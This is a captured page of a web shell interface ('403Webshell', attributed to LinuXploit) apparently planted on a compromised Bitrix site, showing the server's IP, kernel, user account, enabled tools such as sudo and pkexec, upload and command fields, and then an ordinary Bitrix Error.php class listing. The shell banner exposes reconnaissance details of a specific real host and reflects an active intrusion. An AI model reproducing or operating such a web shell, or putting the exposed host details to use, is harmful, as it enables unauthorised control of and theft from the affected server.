403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/error.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2025 Bitrix
 */

namespace Bitrix\Main;

use Bitrix\Main\Localization\LocalizableMessageInterface;
use Throwable;

class Error implements \JsonSerializable
{
	/** @var int|string */
	protected $code;

	/** @var string|LocalizableMessageInterface */
	protected $message;
	/**
	 * @var null
	 */
	protected $customData;

	/**
	 * Creates a new Error.
	 *
	 * @param string $message Message of the error.
	 * @param int|string $code Code of the error.
	 * @param mixed|null $customData Data typically of key/value pairs that provide additional
	 * user-defined information about the error.
	 */
	public function __construct($message, $code = 0, $customData = null)
	{
		$this->message = $message;
		$this->code = $code;
		$this->customData = $customData;
	}

	/**
	 * @param Throwable $exception
	 * @return static
	 */
	public static function createFromThrowable(Throwable $exception): static
	{
		return new static($exception->getMessage(), $exception->getCode());
	}

	/**
	 * Returns the code of the error.
	 * @return int|string
	 */
	public function getCode()
	{
		return $this->code;
	}

	/**
	 * Returns the message of the error.
	 * @return string
	 */
	public function getMessage()
	{
		return (string) $this->message;
	}

	public function getLocalizableMessage(): ?LocalizableMessageInterface
	{
		return $this->message instanceof LocalizableMessageInterface ? $this->message : null;
	}

	/**
	 * @return mixed|null
	 */
	public function getCustomData()
	{
		return $this->customData;
	}

	public function __toString()
	{
		return $this->getMessage();
	}

	/**
	 * Specify data which should be serialized to JSON
	 * @link http://php.net/manual/en/jsonserializable.jsonserialize.php
	 * @return mixed data which can be serialized by <b>json_encode</b>,
	 * which is a value of any type other than a resource.
	 * @since 5.4.0
	 */
	#[\ReturnTypeWillChange]
	public function jsonSerialize()
	{
		return [
			'message' => $this->getMessage(),
			'code' => $this->getCode(),
			'customData' => $this->getCustomData(),
		];
	}

	/**
	 * Disables deserialization.
	 */
	public function __unserialize(array $data): void
	{
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit